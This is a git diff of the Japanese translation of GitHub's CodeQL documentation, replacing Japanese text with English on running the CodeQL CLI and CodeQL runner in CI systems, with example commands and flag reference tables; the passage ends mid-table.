                    - `--github-auth-stdin` - - - オプション。 Pass the {% data variables.product.prodname_github_app %} or personal access token created for authentication with {% data variables.product.company_short %}'s REST API to the CLI via standard input. このトークンが設定された環境変数GITHUB_TOKENにコマンドがアクセスできる場合、これは必要ありません。 -
                    +| Option | Required | Usage | +|--------|:--------:|-----| +| `` | {% octicon "check-circle-fill" aria-label="Required" %} | Specify the scope and name of one or more CodeQL query packs to download using a comma-separated list. Optionally, include the version to download and unzip. By default the latest version of this pack is downloaded. | +| `--github-auth-stdin` | | Optional. Pass the {% data variables.product.prodname_github_app %} or personal access token created for authentication with {% data variables.product.company_short %}'s REST API to the CLI via standard input. This is not needed if the command has access to a `GITHUB_TOKEN` environment variable set with this token. -### 基本的な例 +### Basic example -This example runs two commands to download the latest version of the `octo-org/security-queries` pack and then analyze the database `/codeql-dbs/example-repo`. +This example runs two commands to download the latest version of the `octo-org/security-queries` pack and then analyze the database `/codeql-dbs/example-repo`. ``` $ echo $OCTO-ORG_ACCESS_TOKEN | codeql pack download octo-org/security-queries @@ -642,56 +279,57 @@ $ codeql database analyze /codeql-dbs/example-repo octo-org/security-queries \ {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} -## {% data variables.product.prodname_codeql %}分析のためのCIの設定例 +## Example CI configuration for {% data variables.product.prodname_codeql %} analysis -これは、2つのサポートされている言語を持つコードベースを分析し、結果を{% data variables.product.product_name %}にアップロードするために使うことができる一連のコマンドの例です。 +This is an example of the series of commands that you might use to analyze a codebase with two supported languages and then upload the results to {% data variables.product.product_name %}. ```shell -# 'codeql-dbs'ディレクトリ中のJava及びPythonのためのCodeQLデータベースを急く性 -# コードベースのための通常のビルドスクリプトの 'myBuildScript'を呼ぶ +# Create CodeQL databases for Java and Python in the 'codeql-dbs' directory +# Call the normal build script for the codebase: 'myBuildScript' codeql database create codeql-dbs --source-root=src \ --db-cluster --language=java,python --command=./myBuildScript -# JavaのためのCodeQLデータベース'codeql-dbs/java'を分析 -# データに'java'の結果としてタグ付けし、'java-results.sarif'に保存 +# Analyze the CodeQL database for Java, 'codeql-dbs/java' +# Tag the data as 'java' results and store in: 'java-results.sarif' codeql database analyze codeql-dbs/java java-code-scanning.qls \ --format=sarif-latest --sarif-category=java --output=java-results.sarif -# PythonのためのCodeQLデータベース'codeql-dbs/python'を分析 -# データに'python'の結果としてタグ付けし、'python-results.sarif'に保存 +# Analyze the CodeQL database for Python, 'codeql-dbs/python' +# Tag the data as 'python' results and store in: 'python-results.sarif' codeql database analyze codeql-dbs/python python-code-scanning.qls \ --format=sarif-latest --sarif-category=python --output=python-results.sarif -# Javaの結果付きのSARIF ファイル'java-results.sarif'をアップロード +# Upload the SARIF file with the Java results: 'java-results.sarif' + echo $UPLOAD_TOKEN | codeql github upload-results --repository=my-org/example-repo \ --ref=refs/heads/main --commit=deb275d2d5fe9a522a0b7bd8b6b6a1c939552718 \ --sarif=java-results.sarif --github-auth-stdin -# Pythonの結果付きのSARIFファイル'python-results.sarif'をアップロード +# Upload the SARIF file with the Python results: 'python-results.sarif' echo $UPLOAD_TOKEN | codeql github upload-results --repository=my-org/example-repo \ --ref=refs/heads/main --commit=deb275d2d5fe9a522a0b7bd8b6b6a1c939552718 \ --sarif=python-results.sarif --github-auth-stdin ``` -## CIシステムでの{% data variables.product.prodname_codeql_cli %}のトラブルシューティング +## Troubleshooting the {% data variables.product.prodname_codeql_cli %} in your CI system -### ログと診断情報を見る +### Viewing log and diagnostic information -{% data variables.product.prodname_code_scanning %}クエリスイートを使って{% data variables.product.prodname_codeql %}データベースを分析する際には、アラートに関する詳細情報を生成するのに加えて、CLIはデータベース生成ステップからの診断情報とサマリメトリクスを報告します。 アラートが少ないリポジトリでは、実際にコード中の問題が少ないのか、あるいは{% data variables.product.prodname_codeql %}データベースの生成時にエラーがあったのかを判断するのにこの情報が役立つかもしれません。 `codeql database analyze`から詳細な出力を得るには、`--verbose`オプションを使ってください。 +When you analyze a {% data variables.product.prodname_codeql %} database using a {% data variables.product.prodname_code_scanning %} query suite, in addition to generating detailed information about alerts, the CLI reports diagnostic data from the database generation step and summary metrics. For repositories with few alerts, you may find this information useful for determining if there are genuinely few problems in the code, or if there were errors generating the {% data variables.product.prodname_codeql %} database. For more detailed output from `codeql database analyze`, use the `--verbose` option. -利用できる診断情報の種類に関する詳しい情報については「[{% data variables.product.prodname_code_scanning %}ログを見る](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/viewing-code-scanning-logs#about-analysis-and-diagnostic-information)」を参照してください。 +For more information about the type of diagnostic information available, see "[Viewing {% data variables.product.prodname_code_scanning %} logs](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/viewing-code-scanning-logs#about-analysis-and-diagnostic-information)". -### {% data variables.product.prodname_code_scanning_capc %}は、分析された言語の1つからの分析結果だけを表示します。 +### {% data variables.product.prodname_code_scanning_capc %} only shows analysis results from one of the analyzed languages -デフォルトでは、{% data variables.product.prodname_code_scanning %}はリポジトリの分析ごとに1つのSARIF結果ファイルを期待します。 したがって、コミットから2つめのSARIF結果ファイルをアップロードすると、それはデータのオリジナルのセットの置き換えとして扱われます。 +By default, {% data variables.product.prodname_code_scanning %} expects one SARIF results file per analysis for a repository. Consequently, when you upload a second SARIF results file for a commit, it is treated as a replacement for the original set of data. -リポジトリ中の1つのコミットについての結果を{% data variables.product.prodname_code_scanning %} APIに複数アップロードしたい場合は、それぞれの結果をユニークなセットとして特定しなければなりません。 コミットごとに分析する{% data variables.product.prodname_codeql %}データセットを複数作成するリポジトリでは、`--sarif-category`オプションを使い、そのリポジトリで生成する それぞれの SARIFファイルに言語もしくは他のユニークなカテゴリを指定してください。 +If you want to upload more than one set of results to the {% data variables.product.prodname_code_scanning %} API for a commit in a repository, you must identify each set of results as a unique set. For repositories where you create more than one {% data variables.product.prodname_codeql %} database to analyze for each commit, use the `--sarif-category` option to specify a language or other unique category for each SARIF file that you generate for that repository. -### CIシステムが{% data variables.product.prodname_codeql_cli %}をトリガーできない場合の代替方法 +### Alternative if your CI system cannot trigger the {% data variables.product.prodname_codeql_cli %} {% ifversion fpt or ghes > 3.2 or ghae-next or ghec %} @@ -709,7 +347,7 @@ If your CI system cannot trigger the {% data variables.product.prodname_codeql_c {% endif %} -## 参考リンク +## Further reading -- [CodeQLデータベースの作成](https://codeql.github.com/docs/codeql-cli/creating-codeql-databases/) -- [CodeQL CLIでのデータベースの分析](https://codeql.github.com/docs/codeql-cli/analyzing-databases-with-the-codeql-cli/) +- [Creating CodeQL databases](https://codeql.github.com/docs/codeql-cli/creating-codeql-databases/) +- [Analyzing databases with the CodeQL CLI](https://codeql.github.com/docs/codeql-cli/analyzing-databases-with-the-codeql-cli/) diff --git a/translations/ja-JP/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-runner-in-your-ci-system.md b/translations/ja-JP/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-runner-in-your-ci-system.md index c4468446ad..7c42e31833 100644 --- a/translations/ja-JP/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-runner-in-your-ci-system.md +++ b/translations/ja-JP/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-runner-in-your-ci-system.md @@ -1,7 +1,7 @@ --- -title: CIシステムでのCodeQLランナーの設定 -shortTitle: CodeQLランナーの設定 -intro: '{% data variables.product.prodname_codeql_runner %} がプロジェクトのコードをスキャンして、その結果を {% data variables.product.prodname_dotcom %} にアップロードする方法を設定できます。' +title: Configuring CodeQL runner in your CI system +shortTitle: Configure CodeQL runner +intro: 'You can configure how the {% data variables.product.prodname_codeql_runner %} scans the code in your project and uploads the results to {% data variables.product.prodname_dotcom %}.' product: '{% data reusables.gated-features.code-scanning %}' miniTocMaxHeadingLevel: 3 redirect_from: @@ -28,33 +28,32 @@ topics: - C# - Java --- - {% data reusables.code-scanning.deprecation-codeql-runner %} {% data reusables.code-scanning.beta %} {% data reusables.code-scanning.enterprise-enable-code-scanning %} -## CI システムにおける {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} の設定について +## About configuring {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} in your CI system -{% data variables.product.prodname_code_scanning %} をお使いの CI システムに統合するには、{% data variables.product.prodname_codeql_runner %} を使用できます。 詳しい情報については、「[{% data variables.product.prodname_codeql_runner %} を CI システムで実行する](/code-security/secure-coding/running-codeql-runner-in-your-ci-system)」を参照してください。 +To integrate {% data variables.product.prodname_code_scanning %} into your CI system, you can use the {% data variables.product.prodname_codeql_runner %}. For more information, see "[Running {% data variables.product.prodname_codeql_runner %} in your CI system](/code-security/secure-coding/running-codeql-runner-in-your-ci-system)." -一般的に、{% data variables.product.prodname_codeql_runner %} は次のように呼び出します。 +In general, you invoke the {% data variables.product.prodname_codeql_runner %} as follows. ```shell $ /path/to-runner/codeql-runner-OS ``` -`/path/to-runner/` は、{% data variables.product.prodname_codeql_runner %} を CI のどこにダウンロードしたかによって異なります。 `codeql-runner-OS` は、お使いのオペレーティングシステムによって異なります。 -{% data variables.product.prodname_codeql_runner %} には 3 つのバージョンがあり、`codeql-runner-linux`、`codeql-runner-macos`、`codeql-runner-win` がそれぞれ Linux、macOS、Windows のシステムに対応しています。 +`/path/to-runner/` depends on where you've downloaded the {% data variables.product.prodname_codeql_runner %} on your CI system. `codeql-runner-OS` depends on the operating system you use. +There are three versions of the {% data variables.product.prodname_codeql_runner %}, `codeql-runner-linux`, `codeql-runner-macos`, and `codeql-runner-win`, for Linux, macOS, and Windows systems respectively. -{% data variables.product.prodname_codeql_runner %} がコードをスキャンする方法をカスタマイズするには、`--languages` や `--queries` などのフラグを用いるか、別の設定ファイルでカスタム設定を指定します。 +To customize the way the {% data variables.product.prodname_codeql_runner %} scans your code, you can use flags, such as `--languages` and `--queries`, or you can specify custom settings in a separate configuration file. -## プルリクエストをスキャンする +## Scanning pull requests -プルリクエストが作成されるたびにコードをスキャンすることで、開発者がコードに新しい脆弱性やエラーを持ち込むことを防げます。 +Scanning code whenever a pull request is created prevents developers from introducing new vulnerabilities and errors into the code. -プルリクエストをスキャンするには、 `analyze` コマンドを実行し、 `--ref` フラグを使用してプルリクエストを指定します。 リファレンスは `refs/pull//head` または `refs/pull//merge` で、プルリクエストブランチの HEAD コミットまたはベースブランチでマージコミットをチェックアウトしているかにより異なります。 +To scan a pull request, run the `analyze` command and use the `--ref` flag to specify the pull request. The reference is `refs/pull//head` or `refs/pull//merge`, depending on whether you have checked out the HEAD commit of the pull request branch or a merge commit with the base branch. ```shell $ /path/to-runner/codeql-runner-linux analyze --ref refs/pull/42/merge @@ -62,48 +61,50 @@ $ /path/to-runner/codeql-runner-linux analyze --ref refs/pull/42/merge {% note %} -**注釈**: コードをサードパーティーのツールで解析し、その結果をプルリクエストのチェックで表示したい場合は、`upload` コマンドを実行し、`--ref` フラグでブランチではなくプルリクエストを指定する必要があります。 リファレンスは `refs/pull//head` または `refs/pull//merge` です。 +**Note**: If you analyze code with a third-party tool and want the results to appear as pull request checks, you must run the `upload` command and use the `--ref` flag to specify the pull request instead of the branch. The reference is `refs/pull//head` or `refs/pull//merge`. {% endnote %} -## 自動言語検出をオーバーライドする +## Overriding automatic language detection -{% data variables.product.prodname_codeql_runner %} は、サポートされている言語で記述されたコードを自動的に検出してスキャンします。 +The {% data variables.product.prodname_codeql_runner %} automatically detects and scans code written in the supported languages. {% data reusables.code-scanning.codeql-languages-bullets %} {% data reusables.code-scanning.specify-language-to-analyze %} -自動言語検出をオーバーライドするには、`init` コマンドに `--languages` フラグを付け、その後に言語のキーワードリストをカンマ区切りで追加して、実行します。 サポートされている言語に対するキーワードは{% data reusables.code-scanning.codeql-languages-keywords %}です。 +To override automatic language detection, run the `init` command with the `--languages` flag, followed by a comma-separated list of language keywords. The keywords for the supported languages are {% data reusables.code-scanning.codeql-languages-keywords %}. ```shell $ /path/to-runner/codeql-runner-linux init --languages cpp,java ``` -## 追加のクエリを実行する +## Running additional queries {% data reusables.code-scanning.run-additional-queries %} {% data reusables.code-scanning.codeql-query-suites %} -1 つ以上ののクエリを追加するには、`init` コマンドの `--queries` フラグに、カンマで区切ったパスのリストを渡します。 設定ファイルに、追加のクエリを指定することもできます。 +To add one or more queries, pass a comma-separated list of paths to the `--queries` flag of the `init` command. You can also specify additional queries in a configuration file. -カスタム設定にも設定ファイルを使用し、`--queries` フラグで追加のクエリも指定している場合、{% data variables.product.prodname_codeql_runner %} は、構成ファイルで指定されたものではなく、 `--queries` フラグで指定された追加クエリを使用します。 フラグで指定された追加クエリと、設定ファイルにある追加クエリを組み合わせて使用する場合、渡す値の前に `--queries` と `+` の記号をプレフィクスとして付けてください。 設定ファイルの例については、「[Example configuration files](#example-configuration-files)」を参照してください。 +If you also are using a configuration file for custom settings, and you are also specifying additional queries with the `--queries` flag, the {% data variables.product.prodname_codeql_runner %} uses the additional queries specified with the `--queries` flag instead of any in the configuration file. +If you want to run the combined set of additional queries specified with the flag and in the configuration file, prefix the value passed to `--queries` with the `+` symbol. +For more information, see "[Using a custom configuration file](#using-a-custom-configuration-file)." -次の例では、{% data variables.product.prodname_codeql_runner %} が追加のクエリを、参照されている設定ファイルの中で指定されたあらゆるクエリと共に使用するよう、`+` の記号を用いています。 +In the following example, the `+` symbol ensures that the {% data variables.product.prodname_codeql_runner %} uses the additional queries together with any queries specified in the referenced configuration file. ```shell $ /path/to-runner/codeql-runner-linux init --config-file .github/codeql/codeql-config.yml --queries +security-and-quality,octo-org/python-qlpack/show_ifs.ql@main ``` -## サードパーティのコードスキャンツールを使用する +## Using a custom configuration file -{% data variables.product.prodname_codeql_runner %} コマンドに追加情報を渡すかわりに、別の設定ファイルでカスタム設定を指定できます。 +Instead of passing additional information to the {% data variables.product.prodname_codeql_runner %} commands, you can specify custom settings in a separate configuration file. -設定ファイルの形式は YAML ファイルです。 YAML ファイルは、以下の例で示すように、{% data variables.product.prodname_actions %} のワークフロー構文と似た構文を使用します。 詳細については、「[{% data variables.product.prodname_actions %}のワークフロー構文](/actions/reference/workflow-syntax-for-github-actions)」を参照してください。 +The configuration file is a YAML file. It uses syntax similar to the workflow syntax for {% data variables.product.prodname_actions %}, as illustrated in the examples below. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions)." -`init` コマンドの `--config-file` フラグを使用して、設定ファイルを指定します。 `--config-file` の値は、使用する設定ファイルへのパスです。 この例では、設定ファイル _.github/codeql/codeql-config.yml_ を読み込みます。 +Use the `--config-file` flag of the `init` command to specify the configuration file. The value of `--config-file` is the path to the configuration file that you want to use. This example loads the configuration file _.github/codeql/codeql-config.yml_. ```shell $ /path/to-runner/codeql-runner-linux init --config-file .github/codeql/codeql-config.yml @@ -111,115 +112,111 @@ $ /path/to-runner/codeql-runner-linux init --config-file .github/codeql/codeql-c {% data reusables.code-scanning.custom-configuration-file %} -### 設定ファイルの例 +### Example configuration files {% data reusables.code-scanning.example-configuration-files %} -## コンパイルされた言語の {% data variables.product.prodname_code_scanning %} を設定する +## Configuring {% data variables.product.prodname_code_scanning %} for compiled languages -コンパイル言語の C/C++、C#、および Java では、{% data variables.product.prodname_codeql %} は解析前にコードをビルドします。 {% data reusables.code-scanning.analyze-go %} +For the compiled languages C/C++, C#, and Java, {% data variables.product.prodname_codeql %} builds the code before analyzing it. {% data reusables.code-scanning.analyze-go %} -多くの一般的なビルドシステムに対して、{% data variables.product.prodname_codeql_runner %} はコードを自動的にビルドできます。 コードの自動的なビルドを試行するには、`init` と `analyze` のステップの間で `autobuild` を実行します。 リポジトリに特定のバージョンのビルドツールが必要な場合は、まずそのビルドツールを手動でインストールする必要があることにご注意ください。 +For many common build systems, the {% data variables.product.prodname_codeql_runner %} can build the code automatically. To attempt to build the code automatically, run `autobuild` between the `init` and `analyze` steps. Note that if your repository requires a specific version of a build tool, you may need to install the build tool manually first. -`autobuild` プロセスは、リポジトリに対して _1 つ_ のコンパイル型言語のみをビルドするよう試行します。 解析のために自動的に選択される言語は、使用されているファイル数が最も多い言語です。 言語を明示的に選択する場合は、`autobuild` コマンドの `--language` フラグを使用します。 +The `autobuild` process only ever attempts to build _one_ compiled language for a repository. The language automatically selected for analysis is the language with the most files. If you want to choose a language explicitly, use the `--language` flag of the `autobuild` command. ```shell $ /path/to-runner/codeql-runner-linux autobuild --language csharp ``` -`autobuild` コマンドがコードをビルドできない場合、`init` と`analyze` のステップの間にビルドのステップを手動で実行できます。 詳しい情報については、「[{% data variables.product.prodname_codeql_runner %} を CI システムで実行する](/code-security/secure-coding/running-codeql-runner-in-your-ci-system#compiled-language-example)」を参照してください。 +If the `autobuild` command can't build your code, you can run the build steps yourself, between the `init` and `analyze` steps. For more information, see "[Running {% data variables.product.prodname_codeql_runner %} in your CI system](/code-security/secure-coding/running-codeql-runner-in-your-ci-system#compiled-language-example)." -## {% data variables.product.prodname_code_scanning %} 用の設定ファイルを作成できます。 +## Uploading {% data variables.product.prodname_code_scanning %} data to {% data variables.product.prodname_dotcom %} -デフォルトでは、{% data variables.product.prodname_codeql_runner %} は `analyze` コマンドを実行した際の {% data variables.product.prodname_code_scanning %} による結果をアップロードします。 また、`upload` コマンドを使用して、SARIF ファイルを別にアップロードすることもできます。 +By default, the {% data variables.product.prodname_codeql_runner %} uploads results from {% data variables.product.prodname_code_scanning %} when you run the `analyze` command. You can also upload SARIF files separately, by using the `upload` command. -データをアップロードすると、{% data variables.product.prodname_dotcom %} はリポジトリにアラートを表示します。 -- `--ref refs/pull/42/merge` や `--ref refs/pull/42/head` などのようにプルリクエストにアップロードした場合、結果はプルリクエストのチェックでアラートとして表示されます。 詳しい情報については、「[プルリクエストでコードスキャンアラートをトリアージする](/code-security/secure-coding/triaging-code-scanning-alerts-in-pull-requests)」を参照してください。 -- `--ref refs/heads/my-branch` といったようにブランチにアップロードした場合、結果はリポジトリの [**Security**] タブに表示されます。 詳しい情報については、「[リポジトリの コードスキャンアラートを管理する](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository#viewing-the-alerts-for-a-repository)」を参照してください。 +Once you've uploaded the data, {% data variables.product.prodname_dotcom %} displays the alerts in your repository. +- If you uploaded to a pull request, for example `--ref refs/pull/42/merge` or `--ref refs/pull/42/head`, then the results appear as alerts in a pull request check. For more information, see "[Triaging code scanning alerts in pull requests](/code-security/secure-coding/triaging-code-scanning-alerts-in-pull-requests)." +- If you uploaded to a branch, for example `--ref refs/heads/my-branch`, then the results appear in the **Security** tab for your repository. For more information, see "[Managing code scanning alerts for your repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository#viewing-the-alerts-for-a-repository)." -## {% data variables.product.prodname_codeql_runner %} コマンドのリファレンス +## {% data variables.product.prodname_codeql_runner %} command reference -{% data variables.product.prodname_codeql_runner %} は、次のコマンドおよびフラグをサポートしています。 +The {% data variables.product.prodname_codeql_runner %} supports the following commands and flags. ### `init` -{% data variables.product.prodname_codeql_runner %} を初期化し、解析する各言語用の {% data variables.product.prodname_codeql %} データベースを作成します。 +Initializes the {% data variables.product.prodname_codeql_runner %} and creates a {% data variables.product.prodname_codeql %} database for each language to be analyzed. -| フラグ | 必須 | 入力値 | -| -------------------------------------- |:--:| -------------------------------------------------------------------------------------------------------------------------------------------------- | -| `--repository` | ✓ | 初期化するリポジトリの名前。 | -| `--github-url` | ✓ | リポジトリがホストされる {% data variables.product.prodname_dotcom %} のインスタンス。 |{% ifversion ghes < 3.1 %} -| `--github-auth` | ✓ | {% data variables.product.prodname_github_apps %} トークンまたは個人アクセストークン。 |{% else %} -| `--github-auth-stdin` | ✓ | {% data variables.product.prodname_github_apps %}トークンもしくは個人アクセストークンを標準入力から読み込みます。 -{% endif %} -| `--languages` | | 解析対象言語のカンマ区切りリスト。 デフォルトでは、{% data variables.product.prodname_codeql_runner %} はリポジトリにあるサポートされている言語をすべて検出し、解析します。 | -| `--queries` | | デフォルトのセキュリティクエリに加えて実行する、追加クエリのカンマ区切りリスト。 これは、カスタム設定ファイルの`queries`の設定を上書きします。 | -| `--config-file` | | カスタム設定ファイルのパス。 | -| `--codeql-path` | | 使用する {% data variables.product.prodname_codeql %} CLI 実行ファイルのコピーのパス。 デフォルトでは、{% data variables.product.prodname_codeql_runner %} はコピーをダウンロードします。 | -| `--temp-dir` | | 一時ファイルが保存されるディレクトリ。 デフォルトは `./codeql-runner` です。 | -| `--tools-dir` | | 実行間で {% data variables.product.prodname_codeql %} ツールやその他のファイルが保存されるディレクトリ。 デフォルトはホームディレクトリのサブディレクトリです。 | -| `--checkout-path` | | リポジトリをチェックアウトするパス。 デフォルトは現在のワーキングディレクトリです。 | -| `--debug` | | なし. より詳細な出力を表示します。 | -| `--trace-process-name` | | 高度でWindowsのみ。 このプロセスのWindows tracerが注入されたプロセスの名前。 | -| `--trace-process-level` | | 高度でWindowsのみ。 このプロセスのWindows tracerが注入された親プロセスまでのレベル数。 | -| `-h`, `--help` | | なし. コマンドのヘルプを表示します。 | +| Flag | Required | Input value | +| ---- |:--------:| ----------- | +| `--repository` | ✓ | Name of the repository to initialize. | +| `--github-url` | ✓ | URL of the {% data variables.product.prodname_dotcom %} instance where your repository is hosted. |{% ifversion ghes < 3.1 %} +| `--github-auth` | ✓ | A {% data variables.product.prodname_github_apps %} token or personal access token. |{% else %} +| `--github-auth-stdin` | ✓ | Read the {% data variables.product.prodname_github_apps %} token or personal access token from standard input. |{% endif %} +| `--languages` | | Comma-separated list of languages to analyze. By default, the {% data variables.product.prodname_codeql_runner %} detects and analyzes all supported languages in the repository. | +| `--queries` | | Comma-separated list of additional queries to run, in addition to the default suite of security queries. This overrides the `queries` setting in the custom configuration file. | +| `--config-file` | | Path to custom configuration file. | +| `--codeql-path` | | Path to a copy of the {% data variables.product.prodname_codeql %} CLI executable to use. By default, the {% data variables.product.prodname_codeql_runner %} downloads a copy. | +| `--temp-dir` | | Directory where temporary files are stored. The default is `./codeql-runner`. | +| `--tools-dir` | | Directory where {% data variables.product.prodname_codeql %} tools and other files are stored between runs. The default is a subdirectory of the home directory. | +| `--checkout-path` | | The path to the checkout of your repository. The default is the current working directory. | +| `--debug` | | None. Prints more verbose output. | +| `--trace-process-name` | | Advanced, Windows only. Name of the process where a Windows tracer of this process is injected. | +| `--trace-process-level` | | Advanced, Windows only. Number of levels up of the parent process where a Windows tracer of this process is injected. | +| `-h`, `--help` | | None. Displays help for the command. | ### `autobuild` -コンパイル型言語である C/C++、C#、および Java のコードのビルドを試行します。 これらの言語では、{% data variables.product.prodname_codeql %} は解析前にコードをビルドします。 `autobuild` を、`init` と `analyze` のステップの間に実行します。 +Attempts to build the code for the compiled languages C/C++, C#, and Java. For those languages, {% data variables.product.prodname_codeql %} builds the code before analyzing it. Run `autobuild` between the `init` and `analyze` steps. -| フラグ | 必須 | 入力値 | -| -------------------------------- |:--:| -------------------------------------------------------------------------------------------------- | -| `--language` | | ビルドする言語。 デフォルトでは、{% data variables.product.prodname_codeql_runner %} はファイル数が最も多いコンパイル型言語をビルドします。 | -| `--temp-dir` | | 一時ファイルが保存されるディレクトリ。 デフォルトは `./codeql-runner` です。 | -| `--debug` | | なし. より詳細な出力を表示します。 | -| `-h`, `--help` | | なし. コマンドのヘルプを表示します。 | +| Flag | Required | Input value | +| ---- |:--------:| ----------- | +| `--language` | | The language to build. By default, the {% data variables.product.prodname_codeql_runner %} builds the compiled language with the most files. | +| `--temp-dir` | | Directory where temporary files are stored. The default is `./codeql-runner`. | +| `--debug` | | None. Prints more verbose output. | +| `-h`, `--help` | | None. Displays help for the command. | ### `analyze` -{% data variables.product.prodname_codeql %} データベースにあるコードを解析し、結果を {% data variables.product.product_name %} にアップロードします。 +Analyzes the code in the {% data variables.product.prodname_codeql %} databases and uploads results to {% data variables.product.product_name %}. -| フラグ | 必須 | 入力値 | -| ------------------------------------ |:--:| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| `--repository` | ✓ | 解析するリポジトリの名前。 | -| `--commit` | ✓ | 解析するコミットの SHA。 Git および Azure DevOps では、`git rev-parse HEAD` の値に相当します。 Jenkins では、`$GIT_COMMIT` に相当します。 | -| `--ref` | ✓ | 解析するレファレンスの名前 (例: `refs/heads/main`、`refs/pull/42/merge`)。 Git や Jenkins では、`git symbolic-ref HEAD` の値に相当します。 Azure DevOps では、`$(Build.SourceBranch)` に相当します。 | -| `--github-url` | ✓ | リポジトリがホストされる {% data variables.product.prodname_dotcom %} のインスタンス。 |{% ifversion ghes < 3.1 %} -| `--github-auth` | ✓ | {% data variables.product.prodname_github_apps %} トークンまたは個人アクセストークン。 |{% else %} -| `--github-auth-stdin` | ✓ | {% data variables.product.prodname_github_apps %}トークンもしくは個人アクセストークンを標準入力から読み込みます。 -{% endif %} -| `--checkout-path` | | リポジトリをチェックアウトするパス。 デフォルトは現在のワーキングディレクトリです。 | -| `--no-upload` | | なし. {% data variables.product.prodname_codeql_runner %} が結果を {% data variables.product.product_name %} にアップロードすることを停止します。 | -| `--output-dir` | | 出力される SARIF ファイルが保存されるディレクトリ。 デフォルトは一時ファイルのディレクトリです。 | -| `--ram` | | クエリの実行時に使用するメモリの量。 デフォルトでは、使用できるすべてのメモリを使用します。 | -| `--no-add-snippets` | | なし. SARIF 出力からコードスニペットを除外します。 |{% ifversion fpt or ghes > 3.1 or ghae or ghec %} -| `--category` | | この分析でSARIF結果ファイルに含めるカテゴリ。 カテゴリは、同じツールとコミットについて、ただし様々な言語やコードの様々な部分に対して行われる複数の分析を区別するために使うことができます。 この値は、SARIF v2.1.0では`.automationDetails.id`プロパティに現れます。 -{% endif %} -| `--threads` | | クエリの実行時に使用するスレッドの数。 デフォルトでは、使用できるすべてのコアを使用します。 | -| `--temp-dir` | | 一時ファイルが保存されるディレクトリ。 デフォルトは `./codeql-runner` です。 | -| `--debug` | | なし. より詳細な出力を表示します。 | -| `-h`, `--help` | | なし. コマンドのヘルプを表示します。 | +| Flag | Required | Input value | +| ---- |:--------:| ----------- | +| `--repository` | ✓ | Name of the repository to analyze. | +| `--commit` | ✓ | SHA of the commit to analyze. In Git and in Azure DevOps, this corresponds to the value of `git rev-parse HEAD`. In Jenkins, this corresponds to `$GIT_COMMIT`. | +| `--ref` | ✓ | Name of the reference to analyze, for example `refs/heads/main` or `refs/pull/42/merge`. In Git or in Jenkins, this corresponds to the value of `git symbolic-ref HEAD`. In Azure DevOps, this corresponds to `$(Build.SourceBranch)`. | +| `--github-url` | ✓ | URL of the {% data variables.product.prodname_dotcom %} instance where your repository is hosted. |{% ifversion ghes < 3.1 %} +| `--github-auth` | ✓ | A {% data variables.product.prodname_github_apps %} token or personal access token. |{% else %} +| `--github-auth-stdin` | ✓ | Read the {% data variables.product.prodname_github_apps %} token or personal access token from standard input. |{% endif %} +| `--checkout-path` | | The path to the checkout of your repository. The default is the current working directory. | +| `--no-upload` | | None. Stops the {% data variables.product.prodname_codeql_runner %} from uploading the results to {% data variables.product.product_name %}. | +| `--output-dir` | | Directory where the output SARIF files are stored. The default is in the directory of temporary files. | +| `--ram` | | Amount of memory to use when running queries. The default is to use all available memory. | +| `--no-add-snippets` | | None. Excludes code snippets from the SARIF output. |{% ifversion fpt or ghes > 3.1 or ghae or ghec %} +| `--category` | | Category to include in the SARIF results file for this analysis. A category can be used to distinguish multiple analyses for the same tool and commit, but performed on different languages or different parts of the code. This value will appear in the `.automationDetails.id` property in SARIF v2.1.0. |{% endif %} +| `--threads` | | Number of threads to use when running queries. The default is to use all available cores. | +| `--temp-dir` | | Directory where temporary files are stored. The default is `./codeql-runner`. | +| `--debug` | | None. Prints more verbose output. | +| `-h`, `--help` | | None. Displays help for the command. | -### `アップロード` +### `upload` -SARIF ファイルを {% data variables.product.product_name %} にアップロードします。 +Uploads SARIF files to {% data variables.product.product_name %}. {% note %} -**注釈**: CodeQL ランナーでコードを解析する場合、`analyze` コマンドはデフォルトで SARIF の結果をアップロードします。 `upload` コマンドを使用して、他のツールで生成された SARIF の結果をアップロードできます。 +**Note**: If you analyze code with the CodeQL runner, the `analyze` command uploads SARIF results by default. You can use the `upload` command to upload SARIF results that were generated by other tools. {% endnote %} -| フラグ | 必須 | 入力値 | -| ------------------------------------ |:--:| ------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `--sarif-file` | ✓ | アップロードする SARIF ファイル、または複数の SARIF ファイルを含むディレクトリ。 | -| `--repository` | ✓ | 解析したリポジトリの名前。 | -| `--commit` | ✓ | 解析したコミットの SHA。 Git および Azure DevOps では、`git rev-parse HEAD` の値に相当します。 Jenkins では、`$GIT_COMMIT` に相当します。 | -| `--ref` | ✓ | 解析したレファレンスの名前 (例: `refs/heads/main`、`refs/pull/42/merge`)。 Git や Jenkins では、`git symbolic-ref HEAD` の値に相当します。 Azure DevOps では、`$(Build.SourceBranch)` に相当します。 | -| `--github-url` | ✓ | リポジトリがホストされる {% data variables.product.prodname_dotcom %} のインスタンス。 |{% ifversion ghes < 3.1 %} -| `--github-auth` | ✓ | {% data variables.product.prodname_github_apps %} トークンまたは個人アクセストークン。 |{% else %} -| `--github-auth-stdin` | ✓ | {% data variables.product.prodname_github_apps %}トークンもしくは個人アクセストークンを標準入力から読み込みます。 -{% endif %} -| `--checkout-path` | | リポジトリをチェックアウトするパス。 デフォルトは現在のワーキングディレクトリです。 | -| `--debug` | | なし. より詳細な出力を表示します。 | -| `-h`, `--help` | | なし. コマンドのヘルプを表示します。 | +| Flag | Required | Input value | +| ---- |:--------:| ----------- | +| `--sarif-file` | ✓ | SARIF file to upload, or a directory containing multiple SARIF files. | +| `--repository` | ✓ | Name of the repository that was analyzed. | +| `--commit` | 